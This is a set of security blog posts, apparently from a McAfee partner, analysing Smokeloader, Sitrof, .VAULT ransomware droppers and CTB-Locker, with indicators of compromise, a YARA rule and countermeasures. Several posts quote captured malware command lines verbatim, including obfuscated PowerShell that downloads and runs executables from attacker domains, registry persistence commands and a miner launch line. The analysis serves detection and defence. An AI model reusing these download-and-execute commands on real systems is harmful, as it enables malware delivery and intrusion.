Tag Archive | McAfee ATD

IOC_sitrof_smokeldr_230218

Доброго вечора, панове.

До вашої уваги підсумки по сьогоднішнім зразкам.

Отже на аналіз було передано: уже знайомий нам #smokeloader та троян #sitrof (fortis).

Рівень загрози по обом – середній. Для тих, хто уважно читає наші поради – низький в обох випадках.

 

Трохи аналітики:

#smokeloader

 

  • Враховуючи почерк цієї команди слід очікувати нових зразків із цим посиланням
  • Схема не змінилася – обфусковані JS скрипти в архіві
  • Скрипт чітко вказує адресу та ім’я, під яким payload записується на диск
  • Завантаження основної частини засобами Powershell
  • Не потребує прав Адміністратора
  • Цього разу змінили домен та застосували обфускацію команд при передачі

#sitrof

  • Цей штам дуже мало застосовувався
  • Повторний запуск = новий клон (розмір*2, інше ім’я, мімікрія під системні файли) – цей модуль взяли у #zbot
  • Чітка атрибутика (завдяки Techhelplist) по User Agent (POST /ftsri.php?reg)
  • Не потребує прав Адміністратора
  • Пристосований до збору інформації
  • Говорити про нього як про інструмент складної атаки не варто, це швидше розвідка за допомогою нетипового семплу
  • Проте він досить “незграбний” і створює багато артефактів, тому схиляюсь до думки що це потяг до екзотики, а не прояв майстерності
  • Вносить зміни в реєстр щоб приховати своє тіло (старий трюк)

 

Схема атаки:

 

#smokeloader

 

email > Attach (RAR) > JS > WSCRIPT > CMD > Powershell > single hardcoded URL >

'h11p:\ vivedoc{.} ru/document/pax.exe' >  $env:temp + '\1004.exe

* (минулого разу – enterwords{.} ru/uadoc/crsse.exe > 11054.exe, до того - 63753.exe, а ще раніше 5541.exe)

 

#sitrof

Вектор доставки не підтверджено.

 

Маркери IOC:

 

#smokeloader

Приєднання (архів):

SHA-256            843f898ca145f00e643019c64376491882431fbbc4f187cd6e011050375c6829
File name            рахунок фактура 21.02.2018р.rar
File size              85.71 KB

 

скрипт приманка:

SHA-256            3010c97b0589cc954574e209f93cf4499e64cf812fb12b37e1aec7b0e4ffbedd
File name           рах.фак. 75-КТ.xls.js
File size              33.47 KB

основна частина:

SHA-256            e67bc39af0cd4e5bf5d346927c06c2af2d9209d794ad98c9387d797b914f3423
File name           pax.exe >> $env:temp + '\1004.exe
File size              345 KB

 

#sitrof

основна частина:

SHA-256            59ab6cb69712d82f3e13973ecc7e7d2060914cea6238d338203a69bac95fd96c
File name           System Volume Information.exe
File size              41.56 KB

Наступні ітерації запуску:

>2га
SHA-256    21a25b82388ff6794dcfecf238d035c6f71cfd7a453f1123c4f3bd01b0425df6
File name   mstray.exe
File size    83.13 KB

>3тя
SHA-256        af4d350c56c49fe3353d3ccb9fd10507e8ac35ccced7a90abd66d12b06447275
File name   ftshost.exe
File size    166.26 KB

>4та
SHA-256        86dd5923f69f8530c7cb7107dcca0b5518fcf7cb249da19551a2f963d40e63be
File name   mshost.exe
File size    332.52 KB

>5та
SHA-256    5b2740e47f7dace861e9e6619936fbaeb93a3834ee19f7bfc4f979cdb12cdf69
File name   mssvc.exe
File size    665.04 KB

 

Мережеві IOC:

 

#smokeloader

 

завантаження payload – досі активна!

104.18.59.143    vivedoc{.} ru      GET /document/pax.exe HTTP/1.1
(минулого разу -  92.63.197.13      enterwords[.]ru   GET /uadoc/crsse.exe HTTP/1.1)

 

трафік скомпрометованої системи – сервер контролю (так само як і минулого разу)

92.63.197.13      honeyindoc{.} ru POST / HTTP/1.1  (application/x-www-form-urlencoded)

 

#sitrof

c2 :

yourssagregator{.} comlu{.} com/ftsri.php
allnewsmedia{.} webatu{.} com/ftsri.php

 

Передача зібраної інформації (система, користувач, CPU)

153.92.0.100      HTTP 346   lovecatalog{.} comlu{.} com POST /ftsri.php?reg&ver=4.100000&comp=agent&addinfo=test@agent;%202%20x86%20"Intel"%20processor(s) HTTP/1.1
153.92.0.100      HTTP 215   yourssagregator{.} comlu{.} com  POST /ftsri.php?get&version HTTP/1.1
153.92.0.100      HTTP 244   yourssagregator{.} comlu{.} com  GET /ftsri.php?get&module=\023=K6\263\023;W\03#JEB HTTP/1.1

 

Трафік скомпрометованої системи

mshost.exe1600               TCP        153.92.0.100       80           CLOSE_WAIT                                                                                                                     
mshost.exe1600               TCP        153.92.0.100       80           CLOSE_WAIT                                                                                                                                     
mshost.exe1600               TCP        104.20.67.46       443         CLOSE_WAIT

 

Активність по процесам:

 

#smokeloader

 

Запуск скрипта-приманки ініціює завантаження основної частини засобами Powershell

Ліричний відступ, нагадую, що ENS обладнано сигнатруами для блокування певних команд Powershell

Їх просто потрібно активувати:

На відміну від минулого разу застосували ще сильнішу обфускацію команд

 

"C:\Windows\System32\WScript.exe" "C:\Users\operator\Desktop\рах.фак. 75-КТ.xls.js"

"C:\Windows\System32\cmd.exe" /k set _a111=powe&& set _a222=rsh&& set _a333=ell&& call %_a111%%_a222%%_a333% $CsbSHQUu = 'GyxDSwG';$a = 'Msxml' + '2.XML' + 'HTTP';$z5iLQa8 = 'pIPBA';$b = 'ADO' + 'DB.' + 'Stream';$kacCc = 'mEKyiYy1';$c = 'G' + 'E' + 'T';$JnheMsVo = 'SHblsw';$d = 1 - 1 + 1;$pDhstfie = 'zwqEzO';$hr = New-Object -ComObject $a;$ddbeu = 'KfHL80';$ab = New-Object -ComObject $b;$jUi2Pmko = 'GNbYLYU';$path = $env:temp + '\1004.exe';$Nn8NG = 'ISrrb';$hr.open($c, 'http://vivedoc{.} ru/document/pax.exe', 0);$FbWdaAPm = 'MuwGl';$hr.send();$tkzNp = 'aummFLV';$NWHLjOHp = 'TXzrW';$hryQYP = 'NipavHP';$otGXcz = 'YxEi0';$ab.open();$leJkI = 'b7CaDKAEf';$ab.type = $d;$XhzVqK = 'uG0QddHO';$ab.write($hr.responseBody);$RZAQmIf3 = 'xckwyBI';$ab.savetofile($path);$zGsspdDz = 'rZ4chUv';$ab.close();$zyOHSXL = 'PyCybbp';$cOo8LIl = 'C7ms3yUc';$Cexglw = 'YI128';$ankqLgZP = 'TKwSsN';$DgphQkeP = 'orASsm';$cwndO = 'cJPoPB';$bXBnK = 'HzkFOlL';Start-Process $path;

powershell  $CsbSHQUu = 'GyxDSwG';$a = 'Msxml' + '2.XML' + 'HTTP';$z5iLQa8 = 'pIPBA';$b = 'ADO' + 'DB.' + 'Stream';$kacCc = 'mEKyiYy1';$c = 'G' + 'E' + 'T';$JnheMsVo = 'SHblsw';$d = 1 - 1 + 1;$pDhstfie = 'zwqEzO';$hr = New-Object -ComObject $a;$ddbeu = 'KfHL80';$ab = New-Object -ComObject $b;$jUi2Pmko = 'GNbYLYU';$path = $env:temp + '\1004.exe';$Nn8NG = 'ISrrb';$hr.open($c, 'http://vivedoc{.} ru/document/pax.exe', 0);$FbWdaAPm = 'MuwGl';$hr.send();$tkzNp = 'aummFLV';$NWHLjOHp = 'TXzrW';$hryQYP = 'NipavHP';$otGXcz = 'YxEi0';$ab.open();$leJkI = 'b7CaDKAEf';$ab.type = $d;$XhzVqK = 'uG0QddHO';$ab.write($hr.responseBody);$RZAQmIf3 = 'xckwyBI';$ab.savetofile($path);$zGsspdDz = 'rZ4chUv';$ab.close();$zyOHSXL = 'PyCybbp';$cOo8LIl = 'C7ms3yUc';$Cexglw = 'YI128';$ankqLgZP = 'TKwSsN';$DgphQkeP = 'orASsm';$cwndO = 'cJPoPB';$bXBnK = 'HzkFOlL';Start-Process $path;

"C:\tmp\1004.exe"

 

Закріплення через HCU (так само як і минулого разу)

 

Policies                      c:\users\operator\appdata\roaming\microsoft\tjerrirf\rtdiubth.exe           
C:\Users\operator\AppData\Roaming\Microsoft\tjerrirf
HKEY_USERS\S-1-5-21-136527031-2493574210-1221074019-1000\Software\Microsoft\Windows\CurrentVersion\Run

 

#sitrof

Після запуску дублює своє тіло у довільний підкаталог operator\AppData\Roaming\Microsoft\*\ (SDL, DLL, etc)

Свою копію додає до списку автозавантаження

Ліричний відступ, нагадую, що ENS обладнано вбудованим правило для блокування такої активності

Просто активуйте правило:

 

"C:\Users\operator\Desktop\System Volume Information.exe"
"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v mqkldrv /t REG_SZ /d "C:\Users\operator\AppData\Roaming\Microsoft\bin\mshost.exe" /f


"C:\Users\operator\AppData\Roaming\Microsoft\bin\mshost.exe"
"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v mqkldrv /t REG_SZ /d "C:\Users\operator\AppData\Roaming\Microsoft\bin\mshost.exe" /f
"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 0x00000000 /f
"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v HideFileExt /t REG_DWORD /d 0x00000001 /f

 

Закріплення

mqkldrv                     c:\users\operator\appdata\roaming\microsoft\bin\mshost.exe        02.09.2007 13:34

McAfee

YARA (c) @ Techhelplistcom

 

rule sitrof_fortis {

meta:
author = ” J from THL <j@techhelplist.com>”
date = “2018/23”
reference = “https://www.virustotal.com/#/file/59ab6cb69712d82f3e13973ecc7e7d2060914cea6238d338203a69bac95fd96c/community&#8221;
version = 1
maltype = “Stealer”
filetype = “memory”

strings:

$a = “?get&version”
$b = “?reg&ver=”
$c = “?get&exe”
$d = “?get&download”
$e = “?get&module”
$f = “&ver=”
$g = “&comp=”
$h = “&addinfo=”
$i = “%s@%s; %s %s \”%s\” processor(s)”
$j = “User-Agent: fortis”

condition:
6 of them
}

Контрзаходи:

  • Перевірка журналів мережевого обладнання по наданим маркерам
  • (#sitrof) YARA правило для визначення активності – дякую Techhelplist
  • (#sitrof) Чіткий контроль та блокування спроб зміни списку автозавантаження – нагадую про вбудовані можливості McAfee ENS – правила Access Protection
  • (#smokeloader) Блокування доступу до мережі Інтернет для процесу Powershell (варіант 1й)
  • (#smokeloader) Деактивація механізму Windows Script Host (варіант 2й)
  • (#smokeloader) Якщо ж Powershell активно застосовується – нагадую про вбудовані можливості McAfee ENS – сигнатури Exploit Prevention
  • (обидва зразки) Заборона створення та зчитування/запуску *.JS, *.VBS, *.EXE з каталогів профілю користувача %appdata%, а не лише у %temp% !
  • (#smokeloader) Заборона виклику Powershell через WSCript – додатково захистить від скриптів що йдуть як OLE об’єкти
  • Розгортання механізмів т.з. “білих списків” для захисту від виконання несанкціонованого коду (на серверах/критичних системах)
  • Розгортання комплексу захисту McAfee ATD + ENS ATP + MAR для перевірки та блокування файлів із невідомою репутацією
  • Співбесіди з персоналом на тему сучасних цільових/масових атак із застосуванням фішингу та соц. інженерії

Будьте уважні та обережні!

VR

IOC_smokeldr_150218

Доброго вечора, панове.

Сьогодні було зафіксовано повторну спробу доставки троянського коду типу Smokeloader (Chanitor).

Схема та ж сама, що ми вже бачили 30го числа та 6го числа.

Користувачі захисту кінцевих точок McAfee зверніть увагу – сам завантажувач та майнер детектуються.

Трохи аналітики:

  • Доставка – через обфусковані JS скрипти оболонці ZIP
  • Скрипт містить одну чітко вказану адресу, а основна частина записується з чітко заданим іменем файлу
  • Був використаний той же скрипт та ім’я сайту з минулої та позаминулої розсилки
  • Завантаження основної частини відбувається не через WSH, а засобами Powershell
  • Запуск шкідливого коду не потребує прав Адміністратора
  • Цього разу цикл роботи повний – smokeloader спричинив завантаження та запуск Monero Miner.

 Схема атаки:

email > Attach (ZIP) > JS > WSCRIPT > CMD > Powershell > single hardcoded URL > GET > %temp%\11054.exe  (минулого разу - 63753.exe, позаминулого разу - 5541.exe)

Маркери IOC:

Приєднання (архів):

File name   Перечень.zip

SHA-256        ce848bb1cd63e5d12fe1a2da7b9f487282b061418dd5c8fcd6cf84b7456a3235

File size      21.72 KB

 

скрипт приманка:

File name   Описание продукции.js

SHA-256        4e54a1d40d583c655605a47ea36f69ea16bcc8df4e4d72370e3ebcfe71134a54

File size      18.88 KB

основна частина:

File name   crsse.exe >> 11054.exe >> rtdiubth.exe

SHA-256        5e8f227c91db834f536a016d014a277dd89f1e3b3e939761dc4847e260e9a89a

File size      300 KB

Monero miner:

File name   curl.exe

SHA-256    fc9a32ecce00b4b2d711fe9bda120c9f82f3c2405f3658d30f4dbdac5cedde26

File size      986.5 KB

Мережеві IOC:

 

завантаження payload – досі активна!

92.63.197.13      enterwords[.]ru   GET /uadoc/crsse.exe HTTP/1.1

(минулого разу - 104.31.86.241    enterwords[.]ru   GET /uadoc/crsse.exe HTTP/1.1)

трафік скомпрометованої системи – сервер контролю

92.63.197.13      honeyindoc[.]ru  POST / HTTP/1.1  (application/x-www-form-urlencoded)

92.63.197.13      honeyindoc[.]ru  POST / HTTP/1.1  (application/x-www-form-urlencoded)

92.63.197.13      honeyindoc[.]ru  POST / HTTP/1.1  (application/x-www-form-urlencoded)

(минулого разу - 104.27.140.34    honeyindoc[.]ru  POST / HTTP/1.1  (application/x-www-form-urlencoded)

 

Завантаження та активація Monero Miner

92.63.197.13      HTTP 134   parodadoca[.]ru  GET /panel/mr/curl.exe HTTP/1.1

92.63.197.13      HTTP 457   parodadoca[.]ru  GET /panel/gate.php?machine_id=?&x64=False&version=1&video_card=?cpu=?&junk=15.02.2018%2017:08:03 HTTP/1.1

92.63.197.13      HTTP 108   parodadoca[.]ru  GET /panel/updmr.php HTTP/1.1

92.63.197.13      HTTP 108   parodadoca[.]ru  GET /panel/updbt.php HTTP/1.1

Активність по процесам:

Запуск скрипта-приманки ініціює завантаження основної частини засобами Powershell


"C:\Windows\System32\WScript.exe" "C:\Users\operator\Desktop\Описание продукции.js"

"C:\Windows\System32\cmd.exe" /k set _a1=pow&& set _a2=ersh&& set _a3=ell&& call %_a1%%_a2%%_a3% $http_request = New-Object -ComObject Msxml2.XMLHTTP;$adodb = New-Object -ComObject ADODB.Stream;$path = $env:temp + '\11054.exe';$http_request.open('GET', 'h11p:\enterwords[.]ru/uadoc/crsse.exe', $false);$http_request.send();if($http_request.Status -eq "200"){$adodb.open();$adodb.type = 1;$adodb.write($http_request.responseBody);$adodb.position = 0;$adodb.savetofile($path);$adodb.close();}else{   Write-Host $http_request.statusText; }Start-Process $path;

powershell  $http_request = New-Object -ComObject Msxml2.XMLHTTP;$adodb = New-Object -ComObject ADODB.Stream;$path = $env:temp + '\11054.exe';$http_request.open('GET', ' h11p:\enterwords[.]ru/uadoc/crsse.exe', $false);$http_request.send();if($http_request.Status -eq "200"){$adodb.open();$adodb.type = 1;$adodb.write($http_request.responseBody);$adodb.position = 0;$adodb.savetofile($path);$adodb.close();}else{   Write-Host $http_request.statusText; }Start-Process $path;

"C:\tmp\11054.exe"

C:\Windows\SysWOW64\explorer.exe

C:\tmp\4A0C.tmp.exe

Запуск та ініціалізація майнера:

"C:\Users\operator\AppData\Roaming\MicroMon\curl.exe" -o pool.minexmr[.]com:4444 -u 43Zg4SdBjs3gh6g -p x --cpu-affinity 75

C:\Windows\SysWOW64\explorer.exe

Закріплення через HCU (так само як і минулого разу)

 

Clients                       c:\users\operator\appdata\roaming\microsoft\tjerrirf\rtdiubth.exe             

HKEY_USERS\S-1-5-21-136527031-2493574210-1221074019-1000\Software\Microsoft\Windows\CurrentVersion\Run

Контрзаходи:

  • Перевірка журналів мережевого обладнання по наданим маркерам
  • Блокування доступу до мережі Інтернет для процесу Powershell (варіант 1й)
  • Деактивація механізму Windows Script Host (варіант 2й)
  • Заборона створення та зчитування/запуску *.JS, *.VBS, *.EXE з каталогів профілю користувача %appdata%, а не лише у %temp% !
  • Заборона виклику Powershell через WSCript – додатково захистить від скриптів що йдуть як OLE об’єкти
  • Розгортання механізмів т.з. “білих списків” для захисту від виконання несанкціонованого коду (на серверах/критичних системах)
  • Розгортання комплексу захисту McAfee ATD + ENS ATP + MAR для перевірки та блокування файлів із невідомою репутацією
  • Співбесіди з персоналом на тему сучасних цільових/масових атак із застосуванням фішингу та соц. інженерії

Будьте уважні та обережні!

VR

McAfee ATD vs .VAULT

vault_js_ATD

Эффективность “песочницы” McAfee ATD на примере противодействия средствам доставки криптолокеров.

В последнее время опять активизировались как случайные так и целевые рассылки с новыми образцами криптолокеров. Как я уже писал ранее, теперь злоумышленники для обхода систем защиты используют в качестве dropper`ов обфусцированный js. Во всем этом есть даже маленький элемент соц. инженерии – чтобы жертва кликала на вложении активнее, js скрипты имеют название вида “Акт Сверки_ХХХХ“, “Рабочие документы_ХХХХ“, “Resume_%name%” и т.д. При чем, в ряде случаев в названии использовались имена компаний-подрядчиков, с которыми компания-жертва поддерживала деловые отношения. Согласитесь, это пока не персонализированный фишинг основанный на OSINT, но ведь все еще впереди. Тем более, что кликают и так отменно, как в ГОС структурах так и в коммерческих компаниях.

Давайте рассмотрим результаты автоматического анализа трех крайних семплов. Детальные отчеты в формате PDF прилагаются.

Тип угрозы: .VAULT

Класс: Ransomaware

Канал доставки: Фишинг

Особенности: js, компактный размер

Результаты анализа resume.js_summary (PDF 40 KB):

resume1

Как видим, сканирование заняло 43 секунды, из которых 28 потребовалось для клонирования тестовой ВМ. Т.е. четкий однозначный результат оператор системы безопасности получил в автоматическом режиме меньше чем за минуту. При этом, по моей просьбе, проверка по сигнатурам и облаку не проводилась. Проверялось именно поведение “резюме”.  ATD выдало семплу 5 ть балов опасности по пятибальной шкале. Смотрим за что:

resume_2

ATD сразу обратил внимание на то, что это файл класса js. Индикаторами опасности в данном случае послужили: установление сетевого соединения и загрузка исполняемого кода.

Стоит обратить внимание, что механизм “песочницы” тоже совершенствуется, чтобы не отставать в этой “гонке вооружений”. Так, функционал проверки js был добавлен в ATD при обновлении до версии 3.4.8 еще в июле этого года, когда новые образцы еще не получили такого массового распространения. Яркий пример развития решения и как результат упреждения угроз:

With this release, following file types are also supported for static and dynamic analysis. .cab, .java
script, .bat, .cmd and .vbs.

Давайте же посмотрим, а откуда загружался основной модуль?

resume_3

Вот так наш загадочный кусок кода:

httDLZCEGHQTDBr”/*eWHggwxvhxLyVfWYHyyObaEAx*/.replace(“tDLZCEGHQTDBr”,”tp://”);
YqTmIx(eWHggwxvhx + “46.30”+”.43.183/sy”+”ria.”+”e”+”x”+”e”, “144157771.exe“, 1);

Превращается в ссылку вида:

46.30.43.183/SYRIA.EXE

Скрипт загружает этот исполняемый модуль и сохраняет его по пути %TEMP% с именем 144157771.exe

Если копнуть глубже и посмотреть на данные IP адреса, где размещается файловый сервер злоумышленников:

WHOIS : 46.30.43.183
inetnum: 46.30.43.0 – 46.30.43.255
netname: EUROBYTE-NET
remarks: INFRA-AW
descr: Eurobyte VPS
country: RU
role: EuroByte LLC
address: 42 Lyublinskaya str
address: 109387 Moscow
address: RU
remarks: EuroByte contacts

Оставлю этот момент без комментариев.

Важно другое – ATD является эффективной контрмерой для борьбы с тем, что принято называть целевыми атаками (APT) и различными типами угроз, которые используют комбинацию 0-day уязвимостей и соц. инженерии. Ransomware это лишь частный пример, который я выбрал, потому, что многие заказчики задают вопрос: “Как мы можем избежать потери своих данных и простоев в работе?“.

###

Следующий образец:

Тип угрозы: .REVAULT

Класс: Ransomaware

Канал доставки: Фишинг

Особенности: js, двойное расширение файла

Результаты анализа sample2.js_summary (PDF 42 KB):

sample2_1sample2_2

Данный семпл отличается от т.н. резюме чуть большим объемом кода (3,6 КБ против 2КБ). И сам C&C расположен на другом сервере. Зато при запуске данного семла четко прослеживается загрузка шифрующего модуля в %TEMP%. Запомните этот момент, я к нему еще вернусь. Если взглянуть на данные регистрации домена, видно что тут подошли с фантазией и денег не пожалели не только за имя домена но еще и за сервис сокрытия информации о владельце (WhoisGuard):

revault.me
Domain Name:REVAULT.ME
Domain Create Date:23-Oct-2015 19:43:32 UTC
Domain Last Updated Date:28-Oct-2015 10:32:13 UTC
Domain Expiration Date:23-Oct-2016 19:43:32 UTC
Registrant ID:QFB4RJG41541YA03
Registrant Name:WhoisGuard Protected
Registrant Organization:WhoisGuard, Inc.
Registrant Address:P.O. Box 0823-03411
Registrant Address2:
Registrant Address3:
Registrant City:Panama
Registrant State/Province:Panama

###

Ну и напоследок давайте рассмотрим версию, которая была предшественником первых двух. Я говорю так не только потому, что это один из первых семплов, которые мне удалось добыть “в полях”, но еще и потому, что размер его существенно выше (~ 170KB) да и “шуму” он производит больше нежели первых два примера.

Следующий образец:

Тип угрозы: .VAULT_RC

Класс: Ransomaware

Канал доставки: Фишинг

Особенности: js, умная начинка

Результаты анализа sample1.js_summary (PDF 70 KB):

sample1_1sample1_2

Ба, да тут количество кода компенсируется наличием антиотладочных механизмов, которые тем не менее, не помешали ATD выполнить анализ. Тут основным индикатором опасности послужил не JS, а инжект в системные процессы. Кроме того, данный модуль самодостаточен, в отличие от двух первых, код основной части у него внутри. И не смотря на столь угрожающую начинку, Modus Operandi (образ действия) тот же – записать .exe в %TEMP% и запустить. Я считаю, что не смотря на в чем-то более совершенный подход, в угоду компактности и универсальности, в последующих версиях эта умная начинка была выброшена в угоду уменьшения веса приманки, а сами файлы стали размещать на C&C. Так умнее, потому, что если payload внутри, то код статичен и рано или поздно его контрольные суммы как и куски кода будут “засвечены”, а пустой js дроппер, который имеет лишь ссылку на dns имя C&C имеет больше шансов на выживание – во-первых C&C можно переместить, а во вторых по ссылке может загружаться измененный код. Время покажет был я прав или нет.

Надеюсь небольшой экскурс во внутренностях вымогателей пришелся читателю по душе.

###

Общие рекомендации по контрмерам (на основе вышеизложенного):

  1. Наличие резервных копий, особенно если вы пока не обзавелись таким мощным инструментом как ATD;
  2. Жесткий фильтр вложений входящей почты (чтобы js до пользователя даже не долетал);
  3. Правильные настройки защиты на уровне конечных точек (либо HIPS, либо блокировка запуска .js и .exe из %TEMP%) – между прочим, самое простое, но от того не менее действенное решение;
  4. Использование McAfee ATD позволит компании защититься как от мутирующего кода Ransomware в частности, так и от широкого спектра угроз, особенно в первые часы распространения, когда ни один движок из 56-ти по вирустоталу ничего не знают о семпле.
  5. Сотрудникам ИБ подразделений обязательно проведение разъяснительных бесед с персоналом на тему “нельзя просто так клацать на все, что попало”.

Ну и в качестве бонуса, если кому интересны мои мысли как попытка аналитики происходящего прошу:

PS

Индустрия Ransomware демонстрирует активное развитие и серьезные объемы монетизации. Если вспомнить с чего все начиналось, то сложно поверить, что в начале пути мы имели дело с относительно “безобидным” WinLock, которого продвинутые пользователи могли обезвредить самостоятельно, и который к тому же просил не в пример меньше денег чем его “наследники”. Все изменилось, когда злоумышленники освоили “правильную” (надежную) криптографию. Я имею ввиду AES, RSA и эллиптические кривые вместо банального XOR со сдвигом. Так началась эра т.н. вымогателей-шифровальщиков. Согласитесь, есть изрядная доля иронии в том, что алгоритмы призванные в первую очередь защищать пользовательскую информацию от НСД стали эксплуатироваться для вымогательства денег. Мы получили CryptoLocker и его производные (CTB-Locker, CryptoWall etc). Суммы выкупа поползли вверх. Это дало толчок к развитию технической составляющей: C&C переехали в “теневую” зону Сети (TOR, I2P), средства доставки (о которых шла речь в данной заметке) стали совершенствоваться, а сам процесс отъема честно заработанных сделали максимально комфортным для пользователя – вот тебе инструкция на нескольких языках, а вот тебе учетная запись в личном кабинете и вот онлайн-поддержка. И ведь они (злоумышленники) своего добились. Многие жертвы идут на сотрудничество, т.к. бэкапы делать не приучены, настройки антивируса “by default”, а зашифрованная информация в 99% случаев была в единственном экземпляре. И если домашний пользователь еще может смириться с утерей медиа контента, то в случае заражения компьютеров на предприятии альтернатив почти нет. Этим вымогатели и пользуются. Без ключей получить файлы обратно можно только тупым перебором, а это даже с учетом облачных мощностей несколько лет. К чему я это? Спрос, как известно, рождает предложение. Чем больше жертв будут сотрудничать, тем активнее будет развиваться данная отрасль. Сами “семплы” будут эволюционировать. Они уже это делают: вначале это был .SCR в архивной “обертке”, потом .EXE в MS Word “обертке” либо с двойным расширением, теперь своеобразным трендом является использование Java Script. Дальше будет что-то новое. А кроме того, список поддерживаемых платформ будет расширяться. Стоит задуматься и стать осторожнее.

По поводу платформ:

10.09.15 – New Android ransomware locks out victims by changing lock screen PIN, $500

09.11.15 – New encryption ransomware targets Linux systems, $500

Про вымогатель на андроиде я уже писал в одном из своих дайджестов. А вот про ransomware для Linux – это на моей памяти “первая ласточка”. И пуская он не идеален и требует запуска от имени root. Но, но во-первых, мы все очень хорошо знаем как некоторые админы любят сидеть под root`ом, а во-вторых, это ведь только начало, дальше будет интересней ;)

Во общем, будьте осторожны и внимательны при использовании высоких технологий.

PPS

Если в современной “гонке вооружений” (а-ля антивирус против ransomware) мы будем полагаться только на сигнатурный анализ – всегда будет фрейм (задержка) между т.н. “нулевым пациентом” (первым зараженным) и сигнатурами. Другими словами – для сигнатурного анализа всегда будет “люфт” по времени, в течении которого антивирус Х не будет обнаруживать угрозу. Т.е. задержка будет составалять где-то +/- от 2-5 часов до суток (пока образец свежей версии вируса не попадет аналитикам в руки). Я сейчас пишу это без привязки к какому-бы-то ни было вендору/продукту. Это мое личное наблюдение/мой скромный опыт. Понимание этого факта приводит к тому, что проблему ransomware нужно решать комплексно, с привлечением как технических контрмер так и административных мероприятий.

Повторюсь:

  • наличие резервных копий;
  • жесткие фильтры вложений;
  • анализ поведения/блокирование опасных действий на конечных точках (запрет запуска .exe и скриптов из %TEMP% как один из примеров);
  • проведение профилактических бесед с сотрудниками;
  • использование механизмов динамического анализа кода

VR

CTB-Locker_аналитика

ctb_blog

Образцы dropper`ов

Короткая справка

CTB-Locker, он же Curve-Tor-Bitcoin Locker, он же Critroni. Является представителем т.н. Ransomware, а по простому вирус-вымогатель. Распространяется посредством SPAM-рассылок и URL на зловредные ресурсы. Механизм активации вируса бинарен, т.е. первым запускается dropper (.SCR файл), который подгружает payload (.EXE с произвольным именем). Последствия инфицирования: выборочное шифрование файлов на локальных и сетевых дисках скомпрометированной системы. Схема монетизации: требование оплаты выкупа в размере 1,4 – 3 BTC (340-700$) на Bitcoin кошелек злоумышленника за восстановление доступа к зашифрованным документам.

Процесс заражения в динамике был рассмотрен в предыдущей заметке.


Аналитика

Впервые CTB-Locker проявил себя в июле 2014 года, однако по каким-то причинам его распространение не было таким массовым, как второй пик активизации, который пришелся на конец 2014 – начало 2015 года. Несмотря на простоту вируса и то, что его новые версии уже в 20-тых числах января были включены в базы сигнатур ведущих игроков антивирусного рынка, я с удивлением продолжаю отмечать факты заражения.

Давайте проанализируем, что вскрыла вторая волна активности CTB-Locker:

  • недостаток осторожности пользователей (“запускаю все, что вижу“);
  • отсутствие фильтров по типам файлов на корп. шлюзах (.SCR, .CAB etc);
  • отсутствие актуальных резервных копий;
  • отсутствие резервных копий вообще;
  • синдром защиты “settings by default”*

* несмотря на то, что многие решения по защите конечных точек содержат дополнительные механизмы защиты, например, GTI File reputation, VSE Access Protection Rules, большинство специалистов ограничивают защиту своих компаний сигнатурным анализом. Это действительно плохо и как показывает практика вылазит боком. Когда придет время подводить итоги я еще вернусь к теме настроек защиты конечных точек.

Как я уже писал, одним из сдерживающих факторов для защиты ИТ инфраструктур компаний от такого рода угроз, особенно в первые часы распространения, является использование так называемых “песочниц” (sandboxing). Динамический анализ исполняемого кода позволяет безопасно запустить файл внутри виртуальной машины и отследить его активность, не подвергая при этом риску рабочие сервера и конечные точки. Для тех угроз, которые могут содержать антиотладочные механизмы и отказываются запускаться внутри виртуальной среды предусмотрен статический анализ кода, который позволяет выявить зловредные участки кода и уже на этом основании запретить доступ к этому файлу.


Анализ вируса в “песочнице” McAfee ATD

Давайте на примере анализа семплов CTB-Locker посмотрим, какие возможности появляются у операторов защиты при использовании продвинутой “песочницы” McAfee Advanced Threat Defense (ATD). Самому устройству ATD будет посвящена отдельная заметка.

atd

Консоль McAfee ATD

atd2

Результаты анализов

Прежде чем двигаться дальше, стоит отметить два факта:

  • автоматический анализ семпла занимает в среднем от 30 до 100 секунд*;
  • материалы отчетов ATD были основным источником предыдущей заметки.

* да, именно так, то, на что при ручном анализе семлов уходит, как правило, 2-3 часа, при использовании ATD занимает 1-2 минуты. Поверьте, это не много, учитывая время, требуемое на локализацию последствий того же CTB-Locker.

А теперь давайте перенесемся в начало января 2015 – новые образцы CTB-Locker выходят на тропу войны, уже отмечены первые случаи заражения, но свежие семплы пока отсутствуют в базах антивирусных сигнатур. Мы видим мир глазами ИТ/ИБ инженера, который отвечает за безопасность обработки данных в одной из украинских компаний. Помимо антивируса, разбросанного по конечным точкам, в нашем арсенале также имеются шлюзы Web и Email и “песочница” McAfee ATD. Одному либо нескольким сотрудникам компании приходят странные письма, содержащие вложения архивного типа (.ZIP, .CAB etc). Эти вложения выдерживают проверку по сигнатурам и контрольным суммам но тут в процесс вмешивается ATD. (Дело в том, что модуль ATD является не просто “песочницей” для какого-то определенного канала передачи, нет. McAfee ATD уже сейчас может интегрироваться не только с защитой конечных точек, но и с шлюзами Web и Email трафика, с NSP (IPS) и NG Firewall.) Таким образом, подозрительные вложения отправляются на проверку, результаты которой привлекают внимание ИТ/ИБ инженера и позволяют не только однозначно судить о содержимом присланных вложений, но и выработать соответствующие контр-меры:

scr_operations

Активность .SCR файла

scr_ntwrk

Сетевая активность dropper`а

Уже по результатам активности .SCR dropper`а можно предпринимать строгие меры, однако давайте посмотрим на действия основного модуля CTB-Locker:

exe_file_reg_proc_op

Закрепление в системе, удаление теневых копий

exe_ntwrk2

Соединение с управляющим центром в TOR

exe_encryption

Процесс шифрования файлов. Оригиналы удаляются.

По совокупности признаков и по результатам активности получаем вердикт от ATD:

exe_dynamic

Вердикт ATD по результатам динамического анализа

Отчет ATD по семплу CTB-Locker (.pdf, ~ 180 kb)

